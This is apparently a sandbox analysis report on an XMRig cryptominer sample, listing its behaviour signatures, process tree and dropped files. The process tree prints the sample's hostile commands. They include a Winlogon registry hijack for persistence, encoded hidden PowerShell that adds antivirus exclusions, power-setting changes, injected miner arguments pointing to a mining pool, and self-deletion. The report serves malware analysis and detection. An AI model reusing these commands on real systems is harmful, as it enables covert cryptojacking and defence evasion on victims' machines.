Analysis

  • user interaction
    yes
  • max time kernel
    64s
  • max time network
    66s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/08/2026, 15:15

General

  • Target
    inrovkdc.exe
  • Size 4.1MB
  • Sample260828-sm8bysbl9x
  • SHA256 ff2edc48315b18ba8dba0788e8511c6c0b0ebea9f09b5cf1df2445203fedf244
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • XMRig Miner payload 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 15 IoCs
  • UPX packed file 27 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\inrovkdc.exe
    "C:\Users\Admin\AppData\Local\Temp\inrovkdc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4668
    • C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "UserInit" /T REG_SZ /D "C:\Windows\system32\userinit.exe,C:\ProgramData\Folder\Miner.exe" /F
      2⤵
      • Modifies WinLogon for persistence
      PID:4556
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAgAC0ARgBvAHIAYwBlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEYAbwBsAGQAZQByAFwATQBpAG4AZQByAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:756
    • C:\Windows\system32\powercfg.exe
      /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      PID:2632
    • C:\Windows\system32\powercfg.exe
      /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      PID:5032
    • C:\Windows\system32\powercfg.exe
      /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      PID:884
    • C:\Windows\system32\powercfg.exe
      /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      PID:996
    • C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      2⤵
      • Drops file in Drivers directory
      PID:4480
    • C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4916
      • C:\ProgramData\Folder\Miner.exe
        C:\ProgramData\Folder\Miner.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3732
        • C:\Windows\system32\svchost.exe
          svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
          4⤵
            PID:4572
          • C:\Windows\system32\conhost.exe
            "C:\Windows\system32\conhost.exe"
            4⤵
              PID:2912
          • C:\ProgramData\Folder\Miner.exe
            C:\ProgramData\Folder\Miner.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1460
            • C:\Windows\system32\svchost.exe
              svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
              4⤵
                PID:1592
              • C:\Windows\system32\conhost.exe
                "C:\Windows\system32\conhost.exe"
                4⤵
                  PID:2100
              • C:\ProgramData\Folder\Miner.exe
                C:\ProgramData\Folder\Miner.exe
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4204
                • C:\Windows\system32\svchost.exe
                  svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
                  4⤵
                    PID:2924
                  • C:\Windows\system32\conhost.exe
                    "C:\Windows\system32\conhost.exe"
                    4⤵
                      PID:4716
                  • C:\ProgramData\Folder\Miner.exe
                    C:\ProgramData\Folder\Miner.exe
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:2736
                    • C:\Windows\system32\svchost.exe
                      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
                      4⤵
                        PID:3272
                      • C:\Windows\system32\conhost.exe
                        "C:\Windows\system32\conhost.exe"
                        4⤵
                          PID:4136
                      • C:\ProgramData\Folder\Miner.exe
                        C:\ProgramData\Folder\Miner.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:5032
                        • C:\Windows\system32\svchost.exe
                          svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
                          4⤵
                            PID:4648
                          • C:\Windows\system32\conhost.exe
                            "C:\Windows\system32\conhost.exe"
                            4⤵
                              PID:2860
                          • C:\ProgramData\Folder\Miner.exe
                            C:\ProgramData\Folder\Miner.exe
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious use of WriteProcessMemory
                            PID:5044
                            • C:\Windows\system32\svchost.exe
                              svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
                              4⤵
                                PID:4512
                              • C:\Windows\system32\conhost.exe
                                "C:\Windows\system32\conhost.exe"
                                4⤵
                                  PID:2264
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\inrovkdc.exe"
                              2⤵
                              • Executes a command shell one-liner
                              PID:2860
                          • C:\Windows\System32\Drivers\WinRing0.sys
                            C:\Windows\System32\Drivers\WinRing0.sys
                            1⤵
                            • Executes dropped EXE
                            PID:2348
                          • C:\ProgramData\Folder\Miner.exe
                            C:\ProgramData\Folder\Miner.exe
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious use of WriteProcessMemory
                            PID:3508
                            • C:\Windows\system32\svchost.exe
                              svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
                              2⤵
                                PID:4264
                              • C:\Windows\system32\conhost.exe
                                "C:\Windows\system32\conhost.exe"
                                2⤵
                                  PID:4236

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    Miner.exe

                                    • Path C:\ProgramData\Folder\Miner.exe
                                    • Size 4.1MB
                                    • SHA256 ff2edc48315b18ba8dba0788e8511c6c0b0ebea9f09b5cf1df2445203fedf244
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    __PSScriptPolicyTest_we4lc2hh.wus.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_we4lc2hh.wus.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    WinRing0.sys

                                    • Path C:\Windows\System32\drivers\WinRing0.sys
                                    • Size 14KB
                                    • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/756-0-0x00000184FAEB0000-0x00000184FAEC0000-memory.dmp

                                    memory/756-2-0x00000184FB240000-0x00000184FB262000-memory.dmp

                                    memory/756-12-0x00000184FBC10000-0x00000184FBE2C000-memory.dmp

                                    memory/756-1-0x00000184FAEB0000-0x00000184FAEC0000-memory.dmp

                                    memory/1460-54-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

                                    memory/1592-49-0x000001FC24070000-0x000001FC2482D000-memory.dmp

                                    memory/1592-50-0x000001FC24070000-0x000001FC2482D000-memory.dmp

                                    memory/1592-48-0x000001FC24070000-0x000001FC2482D000-memory.dmp

                                    memory/2100-53-0x000001D3E3830000-0x000001D3E3939000-memory.dmp

                                    memory/2100-52-0x000001D3E3830000-0x000001D3E3939000-memory.dmp

                                    memory/2264-83-0x000001D90BD20000-0x000001D90BE29000-memory.dmp

                                    memory/2264-82-0x000001D90BD20000-0x000001D90BE29000-memory.dmp

                                    memory/2348-28-0x0000000000010000-0x0000000000017000-memory.dmp

                                    memory/2736-70-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

                                    memory/2860-77-0x000001C93C850000-0x000001C93C959000-memory.dmp

                                    memory/2860-76-0x000001C93C850000-0x000001C93C959000-memory.dmp

                                    memory/2912-45-0x0000024023230000-0x0000024023339000-memory.dmp

                                    memory/2912-44-0x0000024023230000-0x0000024023339000-memory.dmp

                                    memory/2924-57-0x0000021029310000-0x0000021029ACD000-memory.dmp

                                    memory/2924-60-0x0000021029310000-0x0000021029ACD000-memory.dmp

                                    memory/2924-56-0x0000021029310000-0x0000021029ACD000-memory.dmp

                                    memory/3272-68-0x00000179D5F00000-0x00000179D66BD000-memory.dmp

                                    memory/3272-65-0x00000179D5F00000-0x00000179D66BD000-memory.dmp

                                    memory/3272-64-0x00000179D5F00000-0x00000179D66BD000-memory.dmp

                                    memory/3508-34-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

                                    memory/3732-46-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

                                    memory/4136-66-0x000002280F590000-0x000002280F699000-memory.dmp

                                    memory/4136-67-0x000002280F590000-0x000002280F699000-memory.dmp

                                    memory/4204-62-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

                                    memory/4236-33-0x000001BA29D50000-0x000001BA29E59000-memory.dmp

                                    memory/4236-32-0x000001BA29D50000-0x000001BA29E59000-memory.dmp

                                    memory/4264-36-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp

                                    memory/4264-31-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp

                                    memory/4264-30-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp

                                    memory/4480-35-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

                                    memory/4480-24-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

                                    memory/4480-15-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

                                    memory/4480-18-0x00000217D0FE0000-0x00000217D1000000-memory.dmp

                                    memory/4480-17-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

                                    memory/4480-16-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

                                    memory/4480-14-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

                                    memory/4512-81-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp

                                    memory/4512-84-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp

                                    memory/4512-80-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp

                                    memory/4572-42-0x00000223F3210000-0x00000223F39CD000-memory.dmp

                                    memory/4572-41-0x00000223F3210000-0x00000223F39CD000-memory.dmp

                                    memory/4572-40-0x00000223F3210000-0x00000223F39CD000-memory.dmp

                                    memory/4648-73-0x000001F703ED0000-0x000001F70468D000-memory.dmp

                                    memory/4648-74-0x000001F703ED0000-0x000001F70468D000-memory.dmp

                                    memory/4648-72-0x000001F703ED0000-0x000001F70468D000-memory.dmp

                                    memory/4668-26-0x00007FF79A0C0000-0x00007FF79A4E5000-memory.dmp

                                    memory/4716-59-0x0000029A82170000-0x0000029A82279000-memory.dmp

                                    memory/4716-58-0x0000029A82170000-0x0000029A82279000-memory.dmp

                                    memory/4916-25-0x000001C962B60000-0x000001C962C69000-memory.dmp

                                    memory/4916-22-0x000001C962B60000-0x000001C962C69000-memory.dmp

                                    memory/4916-20-0x000001C962B60000-0x000001C962C69000-memory.dmp

                                    memory/5032-78-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

                                    memory/5044-86-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp